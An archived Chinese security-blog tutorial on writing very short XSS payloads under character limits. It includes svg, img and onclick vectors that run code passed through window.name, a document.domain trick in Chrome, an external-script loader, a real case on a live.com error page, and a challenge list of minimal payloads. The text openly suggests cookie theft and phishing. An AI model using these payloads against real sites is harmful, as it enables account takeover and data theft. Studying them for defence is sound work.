
        <html>
			<head>
			     <title>Short XSS - Crackkay</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/papers/512">http://drops.wooyun.org/papers/512</a></h1>
				
      <p>
        <h2>0x00 背景</h2>

<hr />

<p>关键时候长度不够怎么办？</p>

<p>在实际的情况中如果你不够长怎么办呢？看医生？吃药？做手术？。。。。。。。。。。。。。。算了，既然自身硬件不足，那么就把缺点变优点吧。熟话说：小是小威力好。</p>

<p>熟话说的好，要能长能短，收放自如。在很多的情况中，我们构造的语句是被限制在一定的字符数内。所以这个就是考验你能短的时候能不能短，能长的时候能不能长的时候到了。</p>

<!--more-->

<h2>0x01 现实中的悲剧</h2>

<hr />

<p>这是一个活生生的悲剧，一个平台上面，一个二逼朋友有妹子的平台账号，但是二逼朋友想进妹子的QQ空间，用平台的备注插QQ-XSS代码，但是因为限制的字符太短，最终抱头痛哭。于是就有了下图所发生：</p>

<p><img src="http://static.wooyun.org/201308/2013082023315075455.jpg" alt="2013082023315075455.jpg" /></p>

<h2>0x02 怎么变”短”</h2>

<hr />

<pre><code>#!html
"&gt;&lt;script&gt;alert(1)&lt;/script&gt; 
</code></pre>

<p>.............................27 letters?</p>

<h5>Alert(1)? No Run?</h5>

<h4>Impossible?</h4>

<h3>No!</h3>

<p>在实际情况中，可以通过<code>&lt;h1&gt;</code>短向量或者其他的短向量去测试存在XSS的地方，为什么可以这样？HTML是一门”不太严格”的解释语言，即使没有<code>&lt;/h1&gt;</code>，很多浏览器也照样可以解释为</p>

<pre><code>#!html
&lt;h1&gt;xss&lt;/h1&gt;
</code></pre>

<h3><code>&lt;h1&gt;</code>xss</h3>

<p>S1:</p>

<p><img src="http://static.wooyun.org/201308/2013082023324089066.jpg" alt="2013082023324089066.jpg" /></p>

<p></p>

<p></p></p>

<p>S2:</p>

<p><img src="http://static.wooyun.org/201308/2013082023330469883.jpg" alt="2013082023330469883.jpg" /></p>

<p>S3：</p>

<p><img src="http://static.wooyun.org/201308/2013082023332018566.jpg" alt="2013082023332018566.jpg" /></p>

<p>但是如果在攻击的时候，我往往需要用到很多标签、属性来达到我们的目的。下面列出一些比较猥琐的利用</p>

<h3><code>&lt;svg/onload=domain=id&gt;</code></h3>

<p>S1:在chrome浏览器存在一个同域读取漏洞，为什么说同域呢？</p>

<p>S2:在chrome下如果我们访问www.baidu.com，通过控制台来设置一下域为空，document.domain=""，就会出现以下的错误。</p>

<p><img src="http://static.wooyun.org/201308/2013082023341576811.jpg" alt="2013082023341576811.jpg" /></p>

<p>S3:为什么说chrome浏览器存在一个同域读取漏洞呢?下面我们通过访问www.baidu.com.来访问一下（com后面还有一个.）并设置一下域为空</p>

<pre><code>#!javascript
document.domain=""
</code></pre>

<p>设置结果就会出现以下图片所示。</p>

<p><img src="http://static.wooyun.org/201308/2013082023344564837.jpg" alt="2013082023344564837.jpg" /></p>

<p>S4:这个怎么利用？</p>

<p>首先说一个问题，就是说，在同域的情况下，DOM是互通的。就相当于我a可以写b的，b也可以同样写a的。那我们该怎么来利用呢？我们可以干很多事情，比如说重写页面钓鱼，或者盗取同域Cookie。下面我就用Chrome的控制台来演示一下这个内容读取漏洞。</p>

<p>S5:先来看看两段代码：</p>

<p>本地构造的攻击页面如下：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
　　&lt;body&gt;
    &lt;h1&gt;这是a.com./12.html&lt;/h1&gt;
    &lt;svg/onload=domain=id&gt;
　　&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>存在缺陷的XSS页面如下：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
　　&lt;body&gt;
    &lt;h1&gt;这是b.com./11.html&lt;/h1&gt;
　　  &lt;svg/onload=domain=id&gt;
　　&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>S6:下面我们通过访问我们构造的攻击页面，也就是a.com./12.html，然后读取domain看看，结果如下图：</p>

<p><img src="http://static.wooyun.org/201308/2013082023361468608.jpg" alt="2013082023361468608.jpg" /></p>

<p>S7:然后我们在控制台里面用window.open()方法打开打开存在缺陷的XSS页面.然后同样用domain查看域.</p>

<p><img src="http://static.wooyun.org/201308/2013082023365253563.jpg" alt="2013082023365253563.jpg" /></p>

<p>S8:我们从上面就可以查看出，现在a.com.和b.com.都是处于同一域下面，那么就可以实现DOM相通的概念了。</p>

<p>S9:通过DOM重写页面测试，测试结果如下图：</p>

<p><img src="http://static.wooyun.org/201308/2013082023374053213.jpg" alt="2013082023374053213.jpg" /></p>

<p>S10:其实这个方法的用处很多，比如说我找到XXX的XSS页面，我通过把域置空，然后在自己站上构造一个页面，怎么构造就要看你的思维了，通过同域的DOM操作，可以钓鱼的方式盗取COOKIE、密码等。</p>

<h3><code>&lt;svg/onload=eval(name)&gt;</code></h3>

<p>S1:先把代码文译一下：</p>

<pre><code>#!html
&lt;svg/onload=eval(window.name)&gt;
</code></pre>

<p>S2:这一段代码通过svg载入的时候执行onload事件，执行的时候通过windows.name传递给eval执行，如果我们自己构造一个攻击页面，然后传递的XSS代码呢？下面看一段代码：</p>

<p>本地构造的攻击页面：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
　　&lt;body&gt;
    &lt;iframe src="11.html" name="alert(1)"&gt;&lt;/iframe&gt;
　　&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>存在缺陷的XSS页面：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
　&lt;body&gt;
    &lt;svg/onload=eval(name)&gt;
　&lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>S3:然后运行页面，测试结果如下：</p>

<p><img src="http://static.wooyun.org/201308/2013082023383876930.jpg" alt="2013082023383876930.jpg" /></p>

<h3><code>&lt;i/onclick=URL=name&gt;</code></h3>

<p>S1:上面的代码文译一下：</p>

<pre><code>#!html
&lt;i/onclick=document.URL=window.name&gt;
</code></pre>

<p>S2:其实这段代码和上一段差不多多少，这里就不截图了，简单的讲解一下。通过点击执行事件把window.name的内容给document.URL然后执行javascript代码。那么我们可以怎么利用呢？</p>

<p>存在缺陷的XSS页面如下：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;body&gt;
        &lt;i/onclick=URL=name&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>本地构造的攻击页面如下：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;body&gt;
        &lt;iframe src="11.html" name="javascript:alert(1)"&gt;&lt;/iframe&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>

<h3><code>&lt;img src=x onerror=eval(name)&gt;</code></h3>

<p>S1:先把代码文译一下：</p>

<pre><code>#!html
&lt;img src=x onerror=eval(window.name)&gt;
</code></pre>

<p>S2:邪恶的eval又来了。通过img元素的src属性出错，执行onerror事件，通过邪恶的eval执行window.name里面的代码。</p>

<p>S3:那我们怎么来实现呢？</p>

<p>本地构造的攻击页面如下：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;body&gt;
        &lt;iframe src="11.html" name="alert(1)"&gt;&lt;/iframe&gt;
    &lt;/body&gt;
</code></pre>

<p>　　</html></p>

<p>存在缺陷的XSS页面如下：</p>

<pre><code>#!html
&lt;!DOCTYPE html&gt;
&lt;html&gt;
    &lt;body&gt;
        &lt;img src="s.sx" onerror=eval(name) /&gt;
    &lt;/body&gt;
&lt;/html&gt;
</code></pre>

<p>其实有很多用法，当然你也可以直接:</p>

<pre><code>#!html
&lt;img src=x onerror=eval(alert(1)) /&gt;
</code></pre>

<p><img src="http://static.wooyun.org/201308/2013082023401581483.jpg" alt="2013082023401581483.jpg" /></p>

<p>还可以</p>

<pre><code>#!html
&lt;img src=x onerror=eval(变量) /&gt;
</code></pre>

<p><img src="http://static.wooyun.org/201308/2013082023410714365.jpg" alt="2013082023410714365.jpg" /></p>

<p>还可以通过调用元素属性，或者是程序员自写的js代码</p>

<p><img src="http://static.wooyun.org/201308/2013082023425551862.jpg" alt="2013082023425551862.jpg" /></p>

<h3><code>&lt;img src=x onerror=with(body)createElement('script').src='[JS地址]'&gt;</code></h3>

<p>S1:通过img元素的src属性出错，执行onerror事件.</p>

<p>S2:用with定位到body，通过DOM的一个createElement方法创建一个script元素，并使用script的src属性指向需要调用的外部js文件。从而达到攻击的目的。</p>

<p>S3:这个就不讲解了，都应该能够看懂</p>

<h2>0x03 实例</h2>

<hr />

<p>下面引用长谷川的PPT的一部分（此PPT引用经过作者同意）</p>

<p><img src="http://static.wooyun.org/201308/2013082023440538047.jpg" alt="2013082023440538047.jpg" /></p>

<p><img src="http://static.wooyun.org/201308/2013082023443139294.jpg" alt="2013082023443139294.jpg" /></p>

<p>通过查看源代码：</p>

<p>地址：</p>

<pre><code>https://*.live.com/?param=&gt;&lt;h1&gt;XSSed&lt;/h1&gt;&lt;!--





#!html
&lt;!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 --&gt;
&lt;input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="&gt;&lt;h1&gt;XSSed&lt;/h1&gt;&lt;!--").
SOURCE: System.Web FORM:" /&gt;
</code></pre>

<p>找出了XSS的原因是由错误消息引起的XSS</p>

<p>然后通过攻击者自己构造的页面构造XSS，并成功实现。</p>

<pre><code>#!html
&lt;iframe src="target" name="javascript:alert(1)"&gt;
</code></pre>

<p>（或者使用JavaScript的window.open）</p>

<p>最终：作者通过21个字符实现XSS（关于实现的方法请见上面的一些比较猥琐的利用元素标签）</p>

<p>代码为：</p>

<pre><code>#!html
&gt;&lt;i/onclick=URL=name&gt;
</code></pre>

<p>当然22个字符也有很多方法(//后面为我们构造的代码开始) 20 Letters</p>

<pre><code>#!html
&lt;input type=hidden value=//&gt;&lt;i/onclick=URL=name&gt;
</code></pre>

<p>22 Letters</p>

<pre><code>#!html
&lt;input type=hidden value="//"&gt;&lt;i/onclick=URL=name&gt;"&gt;
</code></pre>

<p>17 Letters</p>

<pre><code>#!html
&lt;input type=text value= //onclick=URL=name&gt;
</code></pre>

<p><img src="http://static.wooyun.org/201308/2013082023451443889.jpg" alt="2013082023451443889.jpg" /></p>

<p><img src="http://static.wooyun.org/201308/2013082023454387143.jpg" alt="2013082023454387143.jpg" /></p>

<h2>0x04 挑战最”短”</h2>

<hr />

<p>这个活动是国外一个网站发布的，名为XSS challenge，大家有兴趣可以讨论一下 19 Letters</p>

<pre><code>&lt;x/x=&amp;{eval(name)};
</code></pre>

<p>22 Letters</p>

<pre><code>&lt;svg/onload=eval(name)
</code></pre>

<p>最短的javascript执行代码，考验你”短”的时候到了</p>

<pre><code>10 Letters eval(name)
9 Letters eval(URL)
8 Letters URL=name
6 Letters $(URL)
</code></pre>

<h2>0x05 总结</h2>

<hr />

<p>Javascript是一门很好玩的解释型语言，每次去研究这些XSS点的时候会有很多乐趣，你越不相信这个点有XSS，那么就越要去研究这个点是否有XSS。</p>

<p>其实呢~~~这些技术可以称为猥琐流。。。因为不是按正常的逻辑思维是想不到这些的，除非那些思想很猥琐的人。~~~~~~~</p>

<p>欢迎你加入猥琐这个团队，让我们一起猥琐吧。</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          